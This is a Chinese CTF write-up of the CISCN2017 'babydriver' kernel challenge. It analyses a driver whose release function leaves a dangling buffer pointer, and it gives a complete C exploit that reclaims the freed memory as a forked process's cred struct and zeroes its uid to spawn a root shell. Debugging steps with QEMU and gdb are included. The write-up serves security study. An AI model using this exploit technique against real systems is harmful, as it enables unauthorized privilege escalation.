Kernel UAF
2022-03-24 20:13:45

kernel UAF

CISCN2017 - babydriver

题目提供3个文件:

boot.sh:启动脚本

bzImage:kernel镜像

rootfs.cpio:文件系统映像

1、执行boot.sh,启动qemu虚拟机

查看init初始化脚本

==》flag需要root权限才能查看==》提权

==》insmod用于将给定的模块加载至内核中==》

查看所有进入内核的模块列表:

==》babydrive被加载进kernel中,并且显示了加载的地址==》

2、对babydrive.ko文件进行分析:

1、将rootfs.cpio文件系统映像解包

mkdir fs
cd fs
cp ../rootfs.cpio ./rootfs.cpio.gz
gunzip ./rootfs.cpio.gz 
cpio -idmv < rootfs.cpio
rm rootfs.cpio

运行dec.sh==》

2、获取babydriver.ko文件,

查看文件属性

IDA静态分析

babydriver_init

==》

设备号:对于所有设备来说,分为3种:

字符设备=》例:控制台

块设备=》例:文件系统

网络设备=》例:网卡

设备文件可以通过设备文件名来访问,通常位于/dev下

ls -a
c表示字符设备
l表示符号链接
-表示常规文件

==》

可以在设备文件条目种最后一次修改日期之前例248, 0==》分别是主设备号与副设备号

==》主设备号标识与设备相关的驱动程序

例:/dev/null和/dev/zero都是由驱动1管理的,多个串行终端(ttyX,ttySX)是由驱动4管理的

==》内核使用副设备号来确定引用哪个设备

==》主设备号和副设备号可同时被保存在类型dev_t中,而该类型实际上是一个u32==》

12位用于保存主设备号,20位用于保存副设备号

typedef u32 __kernel_dev_t;
typedef __kernel_dev_t    dev_t;

//////

===》babydriver_init函数会调用alloc_chrdev_region函数==》

babydriver_init函数尝试向内核申请一个字符设备的新的主设备号,副设备号从0开始,设备名称为babydev

,并将申请到的主副设备号存入babydev_no全局变量中

==》还调用了unregister_chrdev_region函数

==》函数在调用时需要指定主副设备号的起始值,要求内核在起始值的基础上进行分配

==》设备号分配完后,将其连接至设备操作的内部函数

内核使用cdev类型的结构来标识字符设备==》在操作设备之前,内核必须初始化+注册一个这样的结构体

(一个驱动程序可以分配不止一个设备号,创建不止一个设备)

初始化cedv结构体:

cdev_init(&cdev_0, &fops);

cedv结构体的初始化函数函数声明:

void cdev_init(struct cdev *cdev, const struct file_operations *fops)

传入cdev指针对应的struct cdev将会被初始化,同时设置该设备的各类操作为传入的

file_operations结构体指针

file_operations结构体包含的函数指针:

struct file_operations {
  struct module *owner;
  loff_t (*llseek) (struct file *, loff_t, int);
  ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
  ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
  ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
  ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
  int (*iopoll)(struct kiocb *kiocb, bool spin);
  int (*iterate) (struct file *, struct dir_context *);
  int (*iterate_shared) (struct file *, struct dir_context *);
  __poll_t (*poll) (struct file *, struct poll_table_struct *);
  long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
  long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
  int (*mmap) (struct file *, struct vm_area_struct *);
  unsigned long mmap_supported_flags;
  int (*open) (struct inode *, struct file *);
  int (*flush) (struct file *, fl_owner_t id);
  int (*release) (struct inode *, struct file *);
  int (*fsync) (struct file *, loff_t, loff_t, int datasync);
  int (*fasync) (int, struct file *, int);
  int (*lock) (struct file *, int, struct file_lock *);
  ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
  unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
  int (*check_flags)(int);
  int (*flock) (struct file *, int, struct file_lock *);
  ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
  ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
  int (*setlease)(struct file *, long, struct file_lock **, void **);
  long (*fallocate)(struct file *file, int mode, loff_t offset,
        loff_t len);
  void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
  unsigned (*mmap_capabilities)(struct file *);
#endif
  ssize_t (*copy_file_range)(struct file *, loff_t, struct file *,
      loff_t, size_t, unsigned int);
  loff_t (*remap_file_range)(struct file *file_in, loff_t pos_in,
           struct file *file_out, loff_t pos_out,
           loff_t len, unsigned int remap_flags);
  int (*fadvise)(struct file *, loff_t, loff_t, int);
} __randomize_layout;

cdev结构体初始化完成后==》使用cdev_add告诉内核该设备的设备号

cdev_add(&cdev_0, babydev_no, 1);

函数声明:

int cdev_add(struct cdev *p, dev_t dev, unsigned count)

==》一旦cdev_add函数执行完毕,则当前cdev设备立即处于活动状态,其操作可以立即被内核调用

==》在编写驱动程序时,务必保证在驱动程序完全处理设备上的操作之后,最后调用cdev_add

将设备注册进sysfs

babydev_class = class_create(THIS_MODULE, "babydev");
device_create(babydev_class, 0, babydev_no, 0, "babydev");

函数声明:

struct class *__class_create(struct module *owner, const char *name,
           struct lock_class_key *key)
    
struct device *device_create(struct class *class, struct device *parent,
           dev_t devt, void *drvdata, const char *fmt, ...)

在初始化时init函数通过class_create函数创建一个class类型的类,创建好后的类存放于sysfs下,可以在/sys/class中寻找到==》

再调用device_create函数,动态建立逻辑设备,对新逻辑设备进行初始化==》

还将其与第一个参数所对应的逻辑类相关联,并将此逻辑设备加到Linux内核系统的设备驱动程序模型中

==》函数会自动在/sys/devices/virtual目录下创建新的逻辑设备目录,并在/dev目录下创建与逻辑类对应的设备文件

====》便可以在/dev中看到该设备

babydriver_init函数总结:

1、向内核申请了一个空闲的设备号

2、声明一个cdev结构体,初始化并绑定设备号

3、创建新的ctruct class,并将该设备号所对应的设备注册进sysfs

babydriver_exit

将该释放的数据结构全部释放

babyopen

在函数中定义了babydev_struct的结构体,其中包含了一个device_buf指针以及一个device_buf_len成员变量

kmem_cache_alloc_trace函数分配内存的逻辑与kmlloc类似==》

babyrelease

将babydev_sreuct.device_buf释放掉

在释放完成后,没有对device_buf指针置空,没有设置device_buf_len为0

babyread

判断当前device_buf是否为空,将device_buf上的内存拷贝至用户空间的buffer内存

babyioctl

类似于realloc:将原先的device_buf释放,并分配一块新的内存

注意点:此时的device_buf_len不为babyopne中的64==》大小可以被用户任意指定

思路总结与动态调试

1、babyrelease释放device_buf指针后没有置空,device_buf_len没有重置为0

2、babyioctl可以让device_buf重新分配任意大小的内存

3、当前内核模块中所有用到的变量都是全局变量

==》在babydev_struct中==》打开两次设备,第二次分配的空间将会覆盖第一次==》

思路:

打开两次设备,通过ioctl将babydev_sruct.device_buf大小修改为cred结构体的大小==》

释放第一个设备,fork出一个新的进程,这个新进程的cred结构体就会放在babydev_struct.device_buf所指向的内存区域==》

使用第二个描述符,调用write向此时的babydev_struct.device_buf中写入28个0,刚好覆盖至uid和gid,实现提权

==》

exp:

#include<stdio.h>
#include<fcntl.h>
#include <unistd.h>
int main(){
    int fd1,fd2,id;
    char cred[0xa8] = {0};
    fd1 = open("dev/babydev",O_RDWR);
    fd2 = open("dev/babydev",O_RDWR);
    ioctl(fd1,0x10001,0xa8);//修改babydev_struct.device_len为0xa8
    close(fd1);//释放fd1
    id = fork();//fork一个新进程
    if(id == 0){
        write(fd2,cred,28);//向fd2的babydev_struct.device_buf中写入28个0
        if(getuid() == 0){
            printf("[*]welcome root:\n");
            system("/bin/sh");//获得root权限
            return 0;
        }
    }
    else if(id < 0){
        printf("[*]fork fail\n");
    }
    else{
        wait(NULL);
    }
    close(fd2);
    return 0;
}

将exp静态编译,放入rootfs中:

打包成rootfs.cpio

#!/bin/bash

#判断是否是root权限
user=$(env | grep "^USER" | cut -d "=" -f 2)
if [ "$user" != "root"  ]
  then
    echo "请使用 root 权限执行"
    exit
fi

#静态编译exp
gcc exp.c -static -o rootfs/exp


#打包
cd rootfs
find . | cpio -o --format=newc > ../rootfs.cpio
cd ..

调试exp

调试建议

调试的boot.sh:关闭了一些保护

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel ./bzImage \
    -initrd  ./rootfs.img \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokalsr" \
    -smp cores=2,threads=1 \
    -cpu kvm64 -gdb tcp::1234

1、提取vmlinux

./extract-vmlinux ./bzImage > vmlinux

2、启动gdb

gdb ./vmlinux -q

3、运行调试boot.sh

查看符号表

在gdb中导入符号表

add-symbol-file ./rootfs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000

在gdb中监听1234端口

target remote 127.0.0.1:1234

调试过程:

在babyopen,babyioctl,babywrite下断点

b babyopen
b babyioctl
b babywrite

在qemu中运行exp

==》此时gdb已经在第一个babyopen处断点

单步运行至为babydev_struct赋值的语句:

==》

==》

babydev_struct.device_buf的地址为0xffffffffc00024d0

babydev_struct.device_len的地址为0xffffffffc00024d8

==》查看内内容(未赋值前)

此时其中内容都为空

==》查看内容(赋值后)

查看buffer内容

继续运行至第二个babyopen

单步运行至赋值后,查看地址内内容

==》为第一次babyopen赋值,没有改变

==》查看buffer内容

==》得到了重新分配

继续运行至babyioctl:

单步运行至重新赋值处

==》查看赋值后内容:

===》buffer进行了重新分配,大小变为了0xa8==》cred结构体的大小

查看buffer内容:

继续运行至babywrite处:

==》此时fork函数执行结束,子进程的cred结构体被放入babydev_struct.dev_buf指向的区域

单步运行至函数返回处==》

===》前28个字节被覆盖为0==》

继续运行( c ):

提权成功